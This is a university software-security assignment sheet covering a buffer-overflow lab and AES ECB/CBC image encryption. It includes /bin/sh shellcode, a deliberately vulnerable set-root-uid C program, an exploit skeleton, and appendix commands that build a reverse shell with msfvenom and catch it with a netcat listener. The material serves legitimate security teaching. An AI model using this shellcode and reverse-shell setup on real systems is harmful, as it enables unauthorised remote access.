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辅导案例-FIT 3173

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FIT 3173 Software Security Assignment I (S1 2020) Total Marks 100 Due on April 25, 2020, Saturday noon, 11:59:59 1 Overview The learning objective of this assignment is for you to gain a first-hand experience on buffer overflow attack and get a deeper understanding on how to use cryptographic algorithms correctly in practice. All tasks in this assignment can be done on “SeedVM” as used in labs. Please refer to Section 2 for submission notes. 2 Submission You need to submit a lab report (one single PDF file) to describe what you have done and what you have observed with screen shots whenever necessary; you also need to provide explanation or codes to the observations that are interesting or surprising. In your report, you need to answer all the questions listed in this manual. Please answer each question using at most 100 words. Typeset your report into .pdf format (make sure it can be opened with Adobe Reader) and name it as the format: [Your Name]-[Student ID]- FIT3173-Assignment1, e.g., HarryPotter-12345678-FIT3173-Assignment1.pdf. All source code if required should be embedded in your report. In addition, if a demonstration video is required, you should record your screen demonstration with your voice explanation and upload the video to your Monash Google Drive. The shared URL of the video should be mentioned in your report wherever required. You can use this free tool to make the video:https://monash-panopto.aarnet.edu.au/ ; other tools are also fine. Then, please upload the PDF file to Moodle. Note: the assignment is due on April 25, 2020, Saturday noon, 11:59:59 (Firm!). Late submission penalty: 10 points deduction per day. If you require a special consideration, the application should be submitted and notified at least three days in advance. Zero tolerance on plagiarism: If you are found cheating, penalties will be applied, i.e., a zero grade for the unit. Uni- versity polices can be found at https://www.monash.edu/students/academic/policies/ academic-integrity 3 Buffer Overflow Vulnerability [70 Marks] The learning objective of this part is for you to gain the first-hand experience on buffer-overflow vulnerability by putting what they have learned about the vulnerability from class into action. Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be utilized by an attacker to alter the flow control of the program, even execute arbitrary pieces of code to enable remote access attacks. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address. In this part, you will be given a program with a buffer-overflow vulnerability; the task is to develop a scheme to exploit the vulnerability and finally send a remote access to an attacker. In addition to the attacks, you will be guided to walk through several protection schemes that have been implemented in the operating system to counter against the buffer overflow. You need to evaluate whether the schemes work or not and explain why. 1 3.1 Initial setup You can execute the tasks using our pre-built Ubuntu virtual machines. Ubuntu and other Linux dis- tributions have implemented several security mechanisms to make the buffer-overflow attack difficult. To simplify our attacks, we need to disable them first. Address Space Randomization. Ubuntu and several other Linux-based systems uses address space ran- domization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this part, we disable these features using the following commands: $ su root Password: (enter root password “seedubuntu”) # sysctl -w kernel.randomize_va_space=0 # exit The StackGuard Protection Scheme. The GCC compiler implements a security mechanism called “Stack Guard” to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You can disable this protection if you compile the program using the -fno-stack-protector switch. For example, to compile a program example.c with Stack Guard disabled, you may use the following command: $ gcc -fno-stack-protector example.c Non-Executable Stack. Ubuntu used to allow executable stacks, but this has now changed: the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the recent versions of gcc, and by default, the stack is set to be non-executable. To change that, use the following option when compiling programs: For executable stack: $ gcc -z execstack -o test test.c For non-executable stack: $ gcc -z noexecstack -o test test.c 3.2 Task 1: Shellcode Practice [10 Marks] Before you start the attack, we want you to exercise with a shellcode example. A shellcode is the code to launch a shell. It is a list of carefully crafted instructions created by malicious users/attackers so that it can be executed once the code is injected into a vulnerable program. Therefore, it has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following program: #include int main( ) { char *name[2]; name[0] = ‘‘/bin/sh’’; 2 name[1] = NULL; execve(name[0], name, NULL); } The shellcode that we use is the assembly version of the above program. The following program shows you how to launch a shell by executing a shellcode stored in a buffer. Q1: Please compile and run the following code, and see whether a shell is invoked. Please briefly describe your observations. [Marking scheme: 5 marks for the screenshot and 5 marks for the expla- nation] /* call_shellcode.c */ /*A program that creates a file containing code for launching shell*/ #include #include #include const char code[] = “\x31\xc0” /* Line 1: xorl %eax,%eax */ “\x50” /* Line 2: pushl %eax */ “\x68″”//sh” /* Line 3: pushl $0x68732f2f */ “\x68″”/bin” /* Line 4: pushl $0x6e69622f */ “\x89\xe3” /* Line 5: movl %esp,%ebx */ “\x50” /* Line 6: pushl %eax */ “\x53” /* Line 7: pushl %ebx */ “\x89\xe1” /* Line 8: movl %esp,%ecx */ “\x99” /* Line 9: cdq */ “\xb0\x0b” /* Line 10: movb $0x0b,%al */ “\xcd\x80” /* Line 11: int $0x80 */ ; int main(int argc, char **argv) { char buf[sizeof(code)]; strcpy(buf, code); ((void(*)( ))buf)( ); } Please use the following command to compile the code (don’t forget the execstack option): $ gcc -z execstack -g -o call_shellcode call_shellcode.c The shellcode is stored in the variable code in the above program. A few places in this shellcode are worth mentioning. First, the third instruction pushes “//sh”, rather than “/sh” into the stack. This is because we need a 32-bit number here, and “/sh” has only 24 bits. Fortunately, “//” is equivalent to “/”, so we can get away with a double slash symbol. Second, before calling the execve() system call, we need to store name[0] (the address of the string), name (the address of the array), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores name[0] to %ebx; Line 8 stores name to %ecx; Line 9 sets 3 %edx to zero. There are other ways to set %edx to zero (e.g., xorl %edx, %edx); the one (cdq) used here is simply a shorter instruction: it copies the sign (bit 31) of the value in the EAX register (which is 0 at this point) into every bit position in the EDX register, basically setting %edx to 0. Third, the system call execve() is called when we set %al to 11, and execute “int $0x80”. 3.3 The Vulnerable Program [5 Marks] /* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include #include #include int bof(char *str, int studentId) {
int bufferSize; bufferSize = 12 + studentId%32; char buffer[bufferSize]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; int studentId = ;// please put your student ID badfile = fopen(“badfile”, “r”); fread(str, sizeof(char), 517, badfile); bof(str,studentId); printf(“Returned Properly\n”); return 1; } You need to enter your student ID to the variable studentId. Then, compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling it in the root account and chmod the executable to 4755 (don’t forget to include the execstack and -fno-stack-protector options to turn off the non-executable stack and StackGuard protections): $ su root Password (enter root password “seedubuntu”) # gcc -g -o stack -z execstack -fno-stack-protector stack.c 4 # chmod 4755 stack # exit The above program has a buffer overflow vulnerability. It first reads an input from a file called “badfile”, and then passes this input to another buffer in the function bof(). The original input can have a maxi- mum length of 517 bytes, but the buffer in bof() has a limited size in the range [12, 43] bytes. Because strcpy() does not check boundaries, buffer overflow will occur. It should be noted that the program gets its input from a file called “badfile”. This file is under users’ control. Now, our objective is to create the contents for “badfile”, such that when the vulnerable program copies the contents into its buffer, a remote access will be given to an attacker. [Marking scheme: 5 marks for the screenshot when successfully compiling stack.c file] 3.4 Task 2: Exploiting the Vulnerability [30 Marks] We provide you with a partially completed exploit code called exploit.c. The goal of this code is to con- struct contents for “badfile”. In this code, you need to inject a reverse shell into the variable shellcode, and then fill the variable buffer with appropriate contents. /* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include #include #include char shellcode[]= /* add your reverse shellcode here*/; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ /* Save the contents to the file “badfile” */ badfile = fopen(“./badfile”, “w”); fwrite(buffer, 517, 1, badfile); fclose(badfile); } You need to read Appendix 5.1 to investigate how to create a reverse shellcode. Then, you also need to study how to simulate an attacker, who is listening at a specific address/port and waiting for the shell. We refer you to Appendix 5.2 for this simulation. After you finish the above program, compile and run it. This will generate the contents for “badfile”. Then run the vulnerable program stack. If your exploit is implemented correctly, the attacker should be able to get the reverse shell. 5 Important: Please compile your vulnerable program first. Please note that the program exploit.c, which generates the bad file, can be compiled with the default Stack Guard protection enabled. This is because we are not going to overflow the buffer in this program. We will be overflowing the buffer in stack.c, which is compiled with the Stack Guard protection disabled. $ gcc -g -o exploit exploit.c $./exploit // create the badfile $./stack // launch the attack by running the vulnerable program If the attacker obtains the shell successfully, her terminal should be as follows (assuming that she is listening at the port 4444, and the program stack is running at the address 10.0.2.15). $[02/01/20][email protected]:˜$ nc -lvp 4444 // listening at the port 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from [10.0.2.15] port 4444 [tcp/*] accepted Once the attacker obtains the shell, she can remotely manipulate all the current files where the program stack runs. Q2: Provide your video demonstration evidence to support and verify that you have performed the attack and it worked successfully. You need to upload your demo video to your Monash Google Drive and embed its shared link to your report so that the teaching team can view and verify your works. In the video, you need to demonstrate following key points: • The buffer overflow happens and the attacker receives the shell when the victim executes the vulner- able program stack. (10 marks if the attack works during your demonstration video) • Debug the program stack to investigate the return memory address and local variables in the func- tion bof(). (10 marks for the debug demonstration and memory analysis) • Open the program exploit.c and explain clearly line by line how you structurise the content for “badfile”.(10 marks for your explaination during the demonstration video) Hint: Please read the Guidelines of this part. Also you can use the GNU debugger gdb to find the address of buffer[bufferSize] and “Return Address”, see Guidelines and Appendix. Please note that providing incorrect student ID will result 0 mark for this task. The full marks only given if you have solid explanation with supporting memory address analysis. 3.5 Task 3: Address Randomization [5 Marks] Now, we turn on the Ubuntu’s address randomization. We run the same attack developed in the above task. Can you get a shell? If not, what is the problem? How does the address randomization make your attacks difficult? You can use the following instructions to turn on the address randomization: $ su root Password: (enter root password “seedubuntu”) # /sbin/sysctl -w kernel.randomize_va_space=2 If running the vulnerable code once does not get you the root shell, how about running it for many times? You can run ./stack in the following loop , and see what will happen. If your exploit program is designed properly, you should be able to get the root shell after a while. You can modify your exploit program to increase the probability of success (i.e., reduce the time that you have to wait). 6 $ sh -c “while [ 1 ]; do ./stack; done;” Q3: Follow the above steps, and answer the highlight questions. You should describe your obser- vation and explanation briefly. Furthermore, try whether you can obtain root shell again. [Marking scheme: 3 marks for the screenshot and 2 marks for the explanation and solutions]. 3.6 Task 4: Stack Guard [5 Marks] Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection. In our previous tasks, we disabled the “Stack Guard” protection mechanism in GCC when compiling the programs. In this task, you may consider repeating the above task in the presence of Stack Guard. To do that, you should compile the program without the -fno-stack-protector’ option. For this task, you will recompile the vulnerable program, stack.c, to use GCC’s Stack Guard, execute task 1 again, and report your observations. You may report any error messages you observe. In the GCC 4.3.3 and newer versions, Stack Guard is enabled by default. Therefore, you have to disable Stack Guard using the switch mentioned before. In earlier versions, it was disabled by default. If you use a older GCC version, you may not have to disable Stack Guard. Q4: Follow the above steps, and report your observations. [Marking scheme: 3 marks for the screenshot and 2 marks for the explanation and solutions] 3.7 Task 5: Non-executable Stack [5 Marks] Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection. In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable program using the noexecstack option, and repeat the attack in the above task. Can you get a shell? If not, what is the problem? How does this protection scheme make your attacks difficult. You can use the following instructions to turn on the non-executable stack protection. # gcc -o stack -fno-stack-protector -z noexecstack stack.c It should be noted that non-e
xecutable stack only makes it impossible to run shellcode on the stack, but it does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting a buffer-overflow vulnerability. If you are using our SEEDVM, whether the non-executable stack protection works or not depends on the CPU and the setting of your virtual machine, because this protection depends on the hardware feature that is provided by CPU. If you find that the non-executable stack protection does not work, check our document (“Notes on Non-Executable Stack”) that is linked to the course web page, and see whether the instruction in the document can help solve your problem. If not, then you may need to figure out the problem yourself. Q5: Follow the above steps, and answer the highlight questions. You should describe your obser- vation and explanation briefly. [Marking scheme: 3 marks for the screenshot and 2 marks for the explanation and solutions] 3.8 Task 6: Completion [10 Marks] All codes in above files (shellcode.c, exploit.c, stack.c, and badfile) need to be attached to your PDF report to obtain full marks. Each file occupies 2.5 Marks. 7 3.9 Guidelines We can load the shellcode into “badfile”, but it will not be executed because our instruction pointer will not be pointing to it. One thing we can do is to change the return address to point to the shellcode. But we have two problems: (1) we do not know where the return address is stored, and (2) we do not know where the shellcode is stored. To answer these questions, we need to understand the stack layout the execution enters a function. The following figure gives an example. str (a pointer to a string) Return Address Previous Frame Pointer (FP) buffer[0] … buffer[11] variable_a void func (char *str) { char buffer[12]; int variable_a; strcpy (buffer, str); } Int main() { char *str = “I am greater than 12 bytes”; func (str); } C u rr e n t F ra m e Current FP (a) A code example (b) Active Stack Frame in func() High Address Low Address Finding the address of the memory that stores the return address. From the figure, we know, if we can find out the address of buffer[] array, we can calculate where the return address is stored. Since the vulnerable program is a Set-UID program, you can make a copy of this program, and run it with your own privilege; this way you can debug the program (note that you cannot debug a Set-UID program). In the debugger, you can figure out the address of buffer[], and thus calculate the starting point of the malicious code. You can even modify the copied program, and ask the program to directly print out the address of buffer[]. The address of buffer[] may be slightly different when you run the Set-UID copy, instead of of your copy, but you should be quite close. If the target program is running remotely, and you may not be able to rely on the debugger to find out the address. However, you can always guess. The following facts make guessing a quite feasible approach: • Stack usually starts at the same address. • Stack is usually not very deep: most programs do not push more than a few hundred or a few thousand bytes into the stack at any one time. • Therefore the range of addresses that we need to guess is actually quite small. Finding the starting point of the malicious code. If you can accurately calculate the address of buffer[], you should be able to accurately calculate the starting point of the malicious code. Even if you cannot accu- rately calculate the address (for example, for remote programs), you can still guess. To improve the chance of success, we can add a number of NOPs to the beginning of the malicious code; therefore, if we can jump to any of these NOPs, we can eventually get to the malicious code. The following figure depicts the attack. 8 buffer [0] …… buffer [11] Previous FP Return Address str Malicious Code buffer [0] …… buffer [11] Previous FP Return Address str Malicious Code NOP NOP NOP …… (many NOP’s) (a) Jump to the malicious code (b) Improve the chance S ta c k ’s g ro w in g d ir e c ti o n Storing an long integer in a buffer: In your exploit program, you might need to store an long integer (4 bytes) into an buffer starting at buffer[i]. Since each buffer space is one byte long, the integer will actually occupy four bytes starting at buffer[i] (i.e., buffer[i] to buffer[i+3]). Because buffer and long are of different types, you cannot directly assign the integer to buffer; instead you can cast the buffer+i into an long pointer, and then assign the integer. The following code shows how to assign an long integer to a buffer starting at buffer[i]: char buffer[20]; long addr = 0xFFEEDD88; long *ptr = (long *) (buffer + i); *ptr = addr; 4 Proper Usage of Symmetric Encryption [30 Marks] In this task, we will play with an encryption algorithm on different modes. The provided file pic original.bmp contains a simple picture. We would like to encrypt this picture, so people without the encryption keys can- not know what is in the picture. Please encrypt the file using the AES ECB (Electronic Code Book) and AES CBC (Cipher Block Chaining) modes, and then do the following: Note: for the first task, you can go either option 1 or option 2. But option 2 will allow you to obtain the full marks of this question. 1. Option 1 (5 Marks): You can use the following openssl enc command to encrypt/decrypt the image file. To see the manuals, you can type man openssl and man enc. % openssl enc ciphertype -e -in pic_original.bmp -out cipher.bin \ -K 00112233445566778889aabbccddeeff \ -iv 0102030405060708 Please replace the ciphertypewith a specific cipher type, such as -aes-128-cbc and -aes-128-ecb. In this task, you should try AES ECB and AES CBC modes using your student id as the en- cryption key for encryption. You can find the meaning of the command-line options and all the 9 supported cipher types by typing ‘‘man enc’’ (check the supported ciphers section). We include some common options for the openssl enc command in the following: -in input file -out output file -e encrypt -d decrypt -K/-iv key/iv in hex is the next argument -[pP] print the iv/key (then exit if -P) Please attach the sceenshot of the terminal. [Marking scheme: 5 marks for the screenshot] 2. Option 2 (30 Marks): Write a C program by using OpenSSL library to encrypt the image in AES ECB and AES CBC mode respectively. You are required to use your student id as the encryption key for encryption. You may refer to the sample code given in Appendix 5.4. Header files “openssl/conf.h, openssl/evp.h, openssl/err.h” will be used for calling related OpenSSL functions. Using the following command line to compile your program (assuming that your program is image encryption.c and your executable file is named as image encryption): $ gcc -I /usr/local/ssl/include -L /usr/local/ssl/lib -o \ image_encryption image_encryption.c -lcrypto -ldl Some references for coding: https://wiki.openssl.org/index.php/EVP_Symmetric_Encryption_and_Decryption https://alinush.github.io/AES-encrypt/ https://stackoverflow.com/questions/9889492/ how-to-do-encryption-using-aes-in-openssl Let us treat the encrypted picture as a picture, and use a picture viewing software to display it. How- ever, For the .bmp file, the first 54 bytes contain the header information about the picture, we have to set it correctly, so the encrypted file can be treated as a legitimate .bmp file. We will replace the header of the encrypted picture with that of the original picture. You can use the ghex tool (on the desktop of SEED-VM) to directly modify binary files. Provide your video demonstration evidence to support and verify that you have performed the encryption with different AES ECB and CBC modes. You need to upload your demo video to your Monash Google Drive and embed its shared link to your report so that the teaching team can view and verify your works. In the video, you need to demonstrate following key points: • Run the program with different encryption modes and display the encrypted pictures using any picture viewing software. Can you derive any useful information about th
e original picture from the encrypted picture? Please explain your observations(15 marks for your explaination during demonstration video) • Open the source code and explain clearly how you program to generate such results. (10 marks for your coding explaination during demonstration video). Completion: Please put your code and related code comments, and the encrypted pictures to your report. (5 marks) 10 Acknowledgement This assignment are based on the SEED project (Developing Instructional Laboratories for Computer SE- curity EDucation) at the website http://www.cis.syr.edu/˜wedu/seed/index.html. 5 Appendix 5.1 Reverse Shell Creation A reverse shell (sometimes is known as a malicious shell) enables the connection from the target machine to the attacker’s machine. In this situation, the attacker’s machine acts as a server. It opens a communication on a port and waits for incoming connections. The target machine acts as a client connecting to that listener, and then finally the attacker receives the shell. These attacks are dangerous because they give an attacker an interactive shell on the target machine, allowing the attacker to manipulate file system/data. In this assignment, we use msfvenom module in Metasploit to generate the reverse shellcode. Metas- ploit is one of the most powerful and widely used tools for exploring/testing the vulnerability of computer systems or to break into remote systems. You first install Metasploit by openning a terminal and entering the following command. Note that the command is one-line command without line breaks. curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/ master/config/templates/metasploit-framework-wrappers/ msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall To see msfvenom help, you can use msfvenom -h . To generate a reverse shell, you can use the following command. You should wait few seconds to obtain the reverse shellcode. msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f c where -p is a payload type (in this case it’s for 32-bit Linux reverse shell binary), LHOST is your SEED machine’s IP address (assuming you’re the attacker), LPORT is the port where the attacker is listening, and -f is a format (c in this case). 5.2 Netcat Listener In this assignment, we use Netcat to simulate the attacker’s listener. Fortunately, Netcat is already installed in SEEDVM. It’s a versatile tool that has been dubbed the Hackers’ Swiss Army Knife. It’s the most basic feature is to read and write to TCP and UDP ports. Therfore, it enables Netcat can be run as a client or a server. To see Netcat help, you can type nc -h in terminal. If you want to connect to a webserver (10.2.2.2) on port 80, you can type nc -nv 10.2.2.2 80 And if you want your computer to listen on port 80, you can type nc -lvp 80 11 5.3 GNU Debugger The GNU debugger gdb is a very powerful tool that is extremely useful all around computer science, and MIGHT be useful for this task. A basic gdb workflow begins with loading the executable in the debugger: gdb executable You can then start running the problem with: $ run [arguments-to-the-executable] (Note, here we have changed gdbO˜s default prompt of (gdb) to $). In order to stop the execution at a specific line, set a breakpoint before issuing the “run” command. When execution halts at that line, you can then execute step-wise (commands next and step) or continue (command continue) until the next breakpoint or the program terminates. $ break line-number or function-name $ run [arguments-to-the-executable] $ step # branch into function calls $ next # step over function calls $ continue # execute until next breakpoint or program termination Once execution stops, you will find it useful to look at the stack backtrace and the layout of the current stack frame: $ backtrace $ info frame 0 $ info registers You can navigate between stack frames using the up and down commands. To inspect memory at a particular location, you can use the x/FMT command $ x/16 $esp $ x/32i 0xdeadbeef $ x/64s &buf where the FMT suffix after the slash indicates the output format. Other helpful commands are disassemble and info symbol. You can get a short description of each command via $ help command In addition, Neo left a concise summary of all gdb commands at: http://vividmachines.com/gdbrefcard.pdf You may find it very helpful to dump the memory image (O`coreO´) of a program that crashes. The core captures the process state at the time of the crash, providing a snapshot of the virtual address space, stack frames, etc., at that time. You can activate core dumping with the shell command: % ulimit -c unlimited A crashing program then leaves a file core in the current directory, which you can then hand to the debugger together with the executable: 12 gdb executable core $ bt # same as backtrace $ up # move up the call stack $ i f 1 # same as “info frame 1” $ … Lastly, here is how you step into a second program bar that is launched by a first program foo: gdb -e foo -s bar # load executable foo and symbol table of bar $ set follow-fork-mode child # enable debugging across programs $ b bar:f # breakpoint at function f in program bar $ r # run foo and break at f in bar 5.4 AES Encryption Function Sample Code The AES encryption function will take as parameters the plaintext, the length of the plaintext, the key to be used, and the IV. We will also take in a buffer to put the ciphertext in (which we assume to be long enough), and will return the length of the ciphertext that we have written. Encrypting consists of the following stages: (1) Setting up a context (2) Initialising the encryption operation (3) Providing plaintext bytes to be encrypted (4) Finalising the encryption operation. During initialisation, we need to provide an EVP CIPHER object. In this example, we are using EVP aes 128 cbc(), which uses the AES algorithm with a 128-bit key in CBC mode. int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key, unsigned char *iv, unsigned char *ciphertext) { EVP_CIPHER_CTX *ctx; int len; int ciphertext_len; /* Create and initialise the context */ if(!(ctx = EVP_CIPHER_CTX_new())) handleErrors(); /* Initialise the encryption operation. IMPORTANT – ensure you use a key * and IV size appropriate for your cipher */ if(1 != EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv)) handleErrors(); /* Provide the message to be encrypted, and obtain the encrypted output. * EVP_EncryptUpdate can be called multiple times if necessary */ if(1 != EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len)) handleErrors(); ciphertext_len = len; 13 /* Finalise the encryption. Further ciphertext bytes may be written at * this stage. */ if(1 != EVP_EncryptFinal_ex(ctx, ciphertext + len, &len)) handleErrors(); ciphertext_len += len; /* Clean up */ EVP_CIPHER_CTX_free(ctx); return ciphertext_len; } Also, the code skeleton is given for image encryption. Note: if you stick to the following steps, your program will directly output the encrypted image which can be viewed by any image viewer. Alternatively, you may encrypt the entire image file and use ghex tool as suggested in the step of Question 2 to replace the header of the original image header for image preview. #include #include #include #include #include #include void handleErrors() { printf(“Wrong encryption progress\n”); } int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key, unsigned char *iv, unsigned char *ciphertext) { // implement the encryption function based on the above example } int main(int argc, char **argv) { char * fileName=”pic_original.bmp”; //======================= STEP 0=====================================// /* Key initialization. It will be automaticalled padded to 128 bit key */ //======================= STEP 1=====================================// /* IV initialization. The IV size for *most* modes is the same as the block size. 14 * For AES128 this is 128 bits */ //======================= STEP 2=====================================// //read the file from given filename in binary mode printf(“Start to read the .bmp file \n”); //=
====================== STEP 3=====================================// /*allocate memory for bitmapHeader and bitmapImage. then read bytes for these variables */ //allocate memory for the final ciphertext /* as this is a .bmp file we read the header, the first 54 bytes, into bitmapHeader*/ //read the bitmap image content until the end of the .bmp file //======================= STEP 4=====================================// // encrypt the bitmapImage with the given studentId key //======================= STEP 5=====================================// /*merge header and bitmap to the final ciphertext and output it into a .bmp file*/ return 1; } 15

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